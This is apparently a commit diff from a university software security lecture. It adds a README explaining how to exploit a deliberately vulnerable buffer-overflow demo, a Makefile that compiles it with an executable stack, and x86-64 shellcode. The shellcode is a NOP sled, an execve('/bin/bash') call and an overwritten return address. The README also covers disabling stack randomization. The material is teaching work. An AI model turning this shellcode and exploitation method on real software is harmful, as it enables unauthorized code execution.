added explanation of buffer overflow example

lecture-demos/buffer-overflow/Makefile

@@ -1,16 +1,12 @@
-SOURCES = $(wildcard *.asm)
-OBJS = $(SOURCES:.asm=.o)
-EXECS = $(patsubst %.asm,%.runme,$(SOURCES))
-all: $(EXECS) bufoverflow
+.PHONY: clean shellcode bufoverflow
 
-%.o: %.asm
-	nasm -g -f elf64 $<
+all: bufoverflow shellcode
 
-%.runme: %.o
-	ld -o $@ $<
+shellcode:
+	nasm shellcode.asm
 
 clean:
-	rm -f *.o *.runme bufoverflow
+	rm -f shellcode bufoverflow
 
 bufoverflow:
-	gcc bufoverflow.c -g -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse
+	gcc bufoverflow.c -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse

lecture-demos/buffer-overflow/README.md

@@ -0,0 +1,106 @@
+# bufoverflow.c demo 
+
+This demo corresponds to the **Buffer Overflow: Code Execution** slide of the Software Security lecture.
+The function `mystr()` is vulnerable as it has a buffer overflow when calling `fread()` with a wrong maximum lenght: only 512B would fit into the buffer but 1024B are passed as maximum length argument.
+Attackers can therefore overflow the buffer `char mystr[512]` by providing input files larger than 512B.
+
+**NOTE:** Before starting here, make sure you have your `.gdbinit` file configured correctly (see Moodle).
+
+## Demo usage
+
+To compile the demo, use an x64 system with `gcc` and `nasm` installed and invoke `make`. Then:
+
+`./bufoverflow <filename>`
+
+If the file is too large, the program should receive a segmentation fault during execution.
+Otherwise, the program just exits gracefully.
+
+## Exploiting the program within a debugger
+
+Once we got the program running, we have to write the shellcode.
+We face two challenges here.
+1. We have to investigate how many bytes of shellcode we can place and what offset the saved `rip` has.
+2. We have to compute the stack pointer to our shellcode that overwrites the saved `rip`.
+We devote each a subsection for each challenge.
+
+### Determinining the offset
+
+### Computing the correct stack pointer
+
+To compute the stack address, simply use `gdb`. To this end, we open the program in a debuger:
+
+`gdb --args ./bufoverflow <path-to-input-file>`
+
+Within `gdb`, we then set a breakpoint on the `mystr` function like this:
+
+`break mystr`
+
+You can then execute the program using the gdb command `run`. The program will execute until hitting the breakpoint. If you don't see registers or assembly you, simply enter `layout asm` and `layout regs`. You should then see the program before executing the `mystr` function prologue. Now, you can single-step using the `gdb` command `ni`. Single-step until after the function prologue (i.e., right after`sub rsp,0x200`). You then see the stack frame looking at `rbp` and `rsp`, where `rsp` points to the top of the stack and thus the single local function variable (the 512B buffer) in our function. Note down this value (in my case, `0x7fffffffe090`) and exit the debugger with SIGINT (i.e., CTRL+D) or using `exit` (noone does that).
+
+### Compiling the shellcode
+
+After having writting/adapted the shellcode, compile it using `make`.
+To double-check if the shellcode was compiled correctly, you can disassemble it using the command
+
+`objdump -D -b binary -M intel -d -m i386:x86-64 ./shellcode | less -S`
+
+It should start with a (long) `nop` chain, followed by the system call, the shell string (misinterpreted as code) and the shellcode pointer (likewise misinterpreted as code).
+
+Once you're satisfied, invoke
+
+`gdb --args ./bufoverflow ./shellcode`
+
+and then use the `run` command to get your shell.
+
+Exit with SIGINT (CTRL+D); the first SIGINT will exit the shell, the second the debugger.
+
+
+## Shellcode for exploits outside of the debugger
+
+When you now try to exploit the program *without* using `gdb`, you will likely observe a segmentation fault like this:
+
+```
+$ ./bufoverflow ./shellcode
+Segmentation fault
+```
+
+This has **two** reasons, both of which you'll have to address.
+
+### Stack randomization
+
+First, by default, Linux randomizes the stack location to make attacks like yours harder.
+In `gdb` your attack worked as `gdb` disables this randomization to make debugging easier.
+You can disable this randomization by executing the program like this:
+
+`setarch \`uname -m\` -R ./bufoverflow ./shellcode`.
+
+### Adjusting the stack pointer
+
+Second, the stack pointer you obtained using `gdb` is invalid when the program is being run without `gdb`.
+This is as `gdb` places environment variables on the stack that change (decrease!) the stack (i.e., `rsp` value).
+There are (at least) two solutions to this problem:
+
+#### Variant A: Guesstimate the right stack address
+
+We can take into account that `gdb` places environment variables that change (decrease!) the `rsp` value (see [here](https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it) for details and possible workarounds that however only work for programs without arguments).
+Thankfully, given that we have sufficient room for a `nop` sled in our sled, we can adopt to this and try to guesstimate a valid `rsp` value.
+Try to increase the value by 256B (0x100).
+This address should now point somewhere in the middle of our shellcode, i.e., into our NOP sled.
+Then recompile the shellcode and give it a try.
+
+#### Variant B: Inspecting a core dump.
+
+If you're really after the exact correct `rsp` value, you can also record a so-called `core` dump of the vulnerable program upon crash, and then inspect the core dump using `gdb`.
+To enable core dumps, run:
+
+`ulimit -S -c unlimited`
+
+Then, run the program and let it crash.
+
+`setarch `uname -m` -R ./bufoverflow ./shellcode`
+
+Now you should see a file called `core`, which is our core dump. We can inspect this using `gdb`:
+
+`gdb ./bufoverflow ./core`
+
+By inspecting the registers or memory content, you may be able to find out the correct `rsp` value. Note however that the core dump was taken *after* the function's epilogue and hence the `rbp` and `rsp` values will be clobbered. So it's always a little nasty to find the exact value and there's no systematic answer how to find it.

lecture-demos/buffer-overflow/bufoverflow.shellcode.asm

@@ -1,23 +0,0 @@
-bits 64
-
-global _start
-_start:
-
-    times 128 nop
-
-    ; 59	sys_execve	const char *filename	const char *const argv[]	const char *const envp[]
-    ; (rdi, rsi, rdx, r10, r8, r9)
-    mov rax, 59
-    lea rdi, [rel binbash]
-    xor rsi, rsi
-    xor rdx, rdx
-    syscall
-
-    times 5 nop
-
-binbash:
-    db '/bin/bash', 0x00
-
-ALIGN 512                 ; 512-byte alignment for this part
-    times 8 nop           ; overwrite saved rbp
-    dq 0x7fffffffdcd0     ; overwrite rip ([rbp+8])

lecture-demos/buffer-overflow/shellcode.asm

@@ -0,0 +1,23 @@
+bits 64
+
+global _start
+_start:
+    times 400 nop               ; NOP sled
+
+    ; 59	sys_execve	const char *filename	const char *const argv[]	const char *const envp[]
+    ; (rdi, rsi, rdx, r10, r8, r9)
+    mov rax, 59                 ; system call number (59 = sys_execve)
+    lea rdi, [rel binbash]      ; load ptr to bash string into rdi
+    xor rsi, rsi                ; zero rsi
+    xor rdx, rdx                ; zero rdx
+    syscall
+
+    times 5 nop
+
+binbash:
+    db '/bin/bash', 0x00
+
+ALIGN 512                 ; 512-byte alignment for this code after here
+    times 8 nop           ; overwrite saved rbp
+    dq 0x7fffffffe090     ; overwrite rip ([rbp+8])
+    ;dq 0x7fffffffe1c0     ; overwrite rip ([rbp+8])